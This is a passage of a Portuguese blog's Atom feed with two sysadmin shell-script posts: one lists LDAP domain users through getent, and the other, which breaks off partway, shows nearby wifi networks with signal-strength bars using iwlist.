Quando vi que não constava junto ao pacote de minha distro, fui obrigado a implementa-lo, poderia simplesmente ter copiado da &amp;nbsp;versão antiga e colado, mas o código já estava praticamente na cabeça, reinventando a roda e aprendendo.&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: xx-small;&quot;&gt;&lt;code&gt;
#/bin/bash&lt;br /&gt;
&lt;br /&gt;&lt;br /&gt;
# Autor: Wesley Henrique leite&lt;br /&gt;
# : wesleyhenrique [ - ] &amp;nbsp;gmail &#39; com&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
echo &quot;Id &amp;nbsp; | User&quot;&lt;br /&gt;
echo &quot;___________&quot;&lt;br /&gt;
&lt;br /&gt;
getent passwd | grep &quot;513&quot; | cut -d: -f1,3 | tr &quot;:&quot; &quot; &quot; | awk &#39;{print $2 &quot; | &quot; $1}&#39;&lt;br /&gt;
&lt;/code&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;O getent é um programa que capturar as entradas em base de dados administrativas e as imprime na tela, essa podem ser:&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;passwd,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;group,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;hosts,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;services,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;protocols,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;networks.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;Para exeplificar, rode em seu terminal o getent com cada uma das entradas citadas.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;Irei dividir a explicação por PIPE, já que as duas primeiras linhas não é apenas um &quot;echo&quot; para o cabeçalho da listagem.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;b&gt;getent passwd&lt;/b&gt; -&amp;gt; Recorre a base administrativa de usuários e imprime, sua saída é semelhante a `cat /etc/passwd` a exibição de minha base ldap se dá graças ao arquivo &quot;/etc/nsswitch.conf&quot; &amp;nbsp;por meio dele informo qual será a ordem de pesquisa na base do sistema.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;code&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;passwd: files ldap&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;group: &amp;nbsp;files ldap&lt;/span&gt;&lt;br /&gt;
&lt;/code&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;Ou seja, primeiro teremos a leitura do /etc/passwd em seguida nossa base do ldap.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;b&gt;grep &quot;513&quot;&lt;/b&gt; -&amp;gt; por meio deste comando todo o resultado será filtrado, exibindo somente membros do grupo com ID 513, que por default é o grupo &quot;Domain Users&quot;.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;b&gt;cut -d: -f1,3&lt;/b&gt; -&amp;gt; O resultado será quebrado em colunas sempre que o delimitador &quot;:&quot; for encontrado, retornando para mim somente colunas 1 e 3 que representam usuário e ID do mesmo.&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;code&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;w.leite:x:1102:513:Wesley Henrique Leite:/home/w.leite:/bin/false&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;i&gt;Resultado getent passwd&amp;nbsp;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;code&gt;
&lt;span style=&quot;font-family: monospace; font-size: x-small;&quot;&gt;w.leite:1102&lt;/span&gt;&lt;/code&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;i&gt;resultado após cut -d: -f1,3&lt;/i&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;b&gt;tr &quot;:&quot; &quot; &quot;&lt;/b&gt; -&amp;gt; este comando simplesmente irá substituir &quot;:&quot; por um espaço em branco.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: monospace; text-align: -webkit-auto;&quot;&gt;&lt;b&gt;awk &#39;{print $2 &quot; | &quot; $1}&#39;&lt;/b&gt; -&amp;gt; &amp;nbsp;awk é uma outra linguagem script muito boa por sinal, conte com ela, será sua amiga eterna! prometo montar um tutorial de awk nos próximos posts, a principio basta saber que neste caso, o awk receberá do comando tr um array e por padrão ele define coluna separadas por espaço como abaixo..&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div style=&quot;text-align: -webkit-auto;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;code&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;
&lt;span style=&quot;font-family: monospace; text-align: -webkit-auto;&quot;&gt;w.leite &amp;nbsp;1102&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;COL1 &amp;nbsp; &amp;nbsp; COL2&lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;e imprimirá invertido na tela separados por uma barra &quot; | &quot; &amp;nbsp;ficando assim:&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;code&gt;&lt;span style=&quot;font-family: monospace; font-size: x-small;&quot;&gt;1102 | w.leite&amp;nbsp;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;
&lt;code&gt;
&lt;/code&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;code&gt;&lt;/code&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;da mesma forma que o smbldap-userlist fazia nas versões anteriores.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wesleyhenriqueleite.blogspot.com/feeds/8286906129861746138/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/02/listar-usuarios-da-base-ldap.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/8286906129861746138'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/8286906129861746138'/><link rel='alternate' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/02/listar-usuarios-da-base-ldap.html' title='Listar usuários da base LDAP'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/14743264157748275917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWSnX-Nhjn8Llc1ybx_8ISMLwpkmXsBGueyzYQHO1_s6hIzlfGoeTNSvDSmPbM17wL_sjCViodr9zqWCkYZChqe4hRSM_sM_luQbWOL3_bdn6ZQdNOVWXwL6tYasIx5gZ3wbzdKhaGvsA/s72-c/ldap_00.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2537384307820372300.post-5812959472350961055</id><published>2012-02-03T15:04:00.001-02:00</published><updated>2012-03-07T17:23:35.712-03:00</updated><title type='text'>Encontrando Redes Sem FIO</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Demonstro neste script como é possível resgatar informações das redes sem fio ao alcance em shell script, muito fácil, utilizo o &quot;iwlist&quot;, pois, acredito que seja comum a todos as distros com o pacote de ferramentas wi-fi instalado, semelhante a ele temos o &quot;iw&quot;, que é capaz de identificar redes com o WPS (WI-FI Protected Setup) ativado, todos estão lembrados dos problemas que temos ao utilizar o serviço? &amp;nbsp; &amp;nbsp; ;)&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
A Primeira versão deste script, trabalhava com a gravação de um arquivo temporário e para gerar tal arquivo &amp;nbsp;utilizava o &amp;nbsp;&quot;mktemp&quot;, posteriormente fazia diversas leituras neste em busca das informações de redes, tais como sinal, canal, nome entre outros, abandonei a leitura e resolvi trabalhar diretamente com os dados coletados, isso deixou o script lento e não tão preciso quanto o anterior, digo, em alguns momentos, verá que ele não encontrará o Protocolo, escrevendo na tela &quot;?????&quot; e na volta seguinte informará o protocolo corretamente, isso acontece devido ao script realizar diversas varreduras a procura de AP&#39;s disponíveis ao alcance, sendo que, em primeiro momento localiza as redes, em seguida localiza seu sinal baseando-se no nome da rede encontrado e por fim o protocolo utilizado na comunicação, em algum momento ao realizar o scan para extrair alguma informação a rede desaparece, isso se dá por diversos motivos, sendo mais comum anteparos, AP&#39;s na mesma frequência e canal. Mas e ae, o que o script faz ? bom, nada d++, baseando-se na qualidade do sinal recebido por sua antena, cria uma barra colorida no terminal, como a imagem demonstrada abaixo.&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNWy4R3KOolX53mq_sIxbckwJlDAGGfwKuUHk6xcIEicQqtjTG1AZiUCiqptEo74_yCYcCQDBAeBOSguYoP5HZ9jMCElwwAHO2jWe1WWKqH-f2HBvT-Q0wFFlAiq5959L4fxPRBJ2ZQiM/s1600/salvar13.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNWy4R3KOolX53mq_sIxbckwJlDAGGfwKuUHk6xcIEicQqtjTG1AZiUCiqptEo74_yCYcCQDBAeBOSguYoP5HZ9jMCElwwAHO2jWe1WWKqH-f2HBvT-Q0wFFlAiq5959L4fxPRBJ2ZQiM/s1600/salvar13.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
implementei dois modos:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;-p (Persistente)&amp;nbsp;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Neste modo a tela do terminal será limpa, por um incrível &quot;clear&quot; em seguida será carregada em tempo real a lista de redes sem fio próximas a você, idêntico a tela a cima com a uma única diferença, não é estático, ficará atualizando o tempo todo o sinal, a ordem das redes pode mudar, pois, redes sem fio são caóticas.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;-c (Console)&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Imprime uma tela como a a cima e retorna para a linha de comando do terminal.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;Modo de usar:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;./wifiSinal.sh -[c|p] &amp;lt;wlanX&amp;gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
#################################################&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;span style=&quot;color: #6aa84f; font-size: x-small;&quot;&gt;

&lt;code&gt; #!/bin/sh&lt;/code&gt;&lt;/span&gt;&lt;code&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;#&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;# autor: Wesley Henrique Leite&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;# : wesleyhenrique [at] gmail [dot] com&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: #6aa84f;&quot;&gt;ChecarError()&lt;/span&gt; {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # ESSA FUNCAO EH INVOCADA SEMPRE QUE QUERO VERIFICAR SE&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # ALGUM ERRO OCORREU NA EXECUCAO DO SCRIPT&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # SE #? NAO FOR 0 ENTAO TEM ALGUM ERRO&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;if [ $? -ne 0 ]&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;then&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;echo &quot;Ocorreu um erro&quot;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;exit&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;fi&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: #6aa84f;&quot;&gt;ScanRetEssid()&lt;/span&gt; {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;# PEGA SID DAS REDES&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;# CHECA SE DEU ALGUM ERRO&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;$IW $LAN scan | egrep &quot;ESSID&quot; | cut -d: -f2&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ChecarError&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: #6aa84f;&quot;&gt;RetSinal()&lt;/span&gt; {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # RECEBE COMO PARAMETRO O NOME DA REDE&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # VERIFICA O SINAL DESTA REDE E RETORNA UM NUMERO&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # DE 0 A 7&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # EM SEGUIDA CHECA SE DEU ALGUM ERRO&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ESSID=$1&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SINAL=$($IW $LAN scan | grep -B2 $ESSID | cut -d&quot;=&quot; -f2 | cut -d&quot;/&quot; -f1 | cut -d&quot; &quot; -f1 | sed &#39;s/a-zA-Z//g&#39; )&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;echo ${SINAL:0:1}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ChecarError&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: #6aa84f;&quot;&gt;IEEE()&lt;/span&gt; {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # RECEBE COMO PARAMETRO O NOME DA REDE E TENTA&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # LOCALIZAR O PROTOCOLO UTILIZADO&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ESSID=$1&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;W80211=$($IW $LAN scan | grep -A20 $ESSID | egrep -wo &quot;(WPA|WPA2|WEP)&quot; | cut -d: -f2-3 )&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;if [ -z &quot;$W80211&quot; ]&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;then&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;echo &quot;???????&quot;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;else&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;echo ${W80211:0:4}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;fi&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: #6aa84f;&quot;&gt;ImprimirBarra()&lt;/span&gt; {&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # E FINALMENTE IMPRIME UMA BARRA INFORMANDO&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #bf9000; font-size: x-small;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # O SINAL DA REDE&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;SINAL=$1&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;if [ -z $SINAL ] &amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;then&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;SINAL=1&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;fi&lt;/span&gt;&lt;br /&gt;
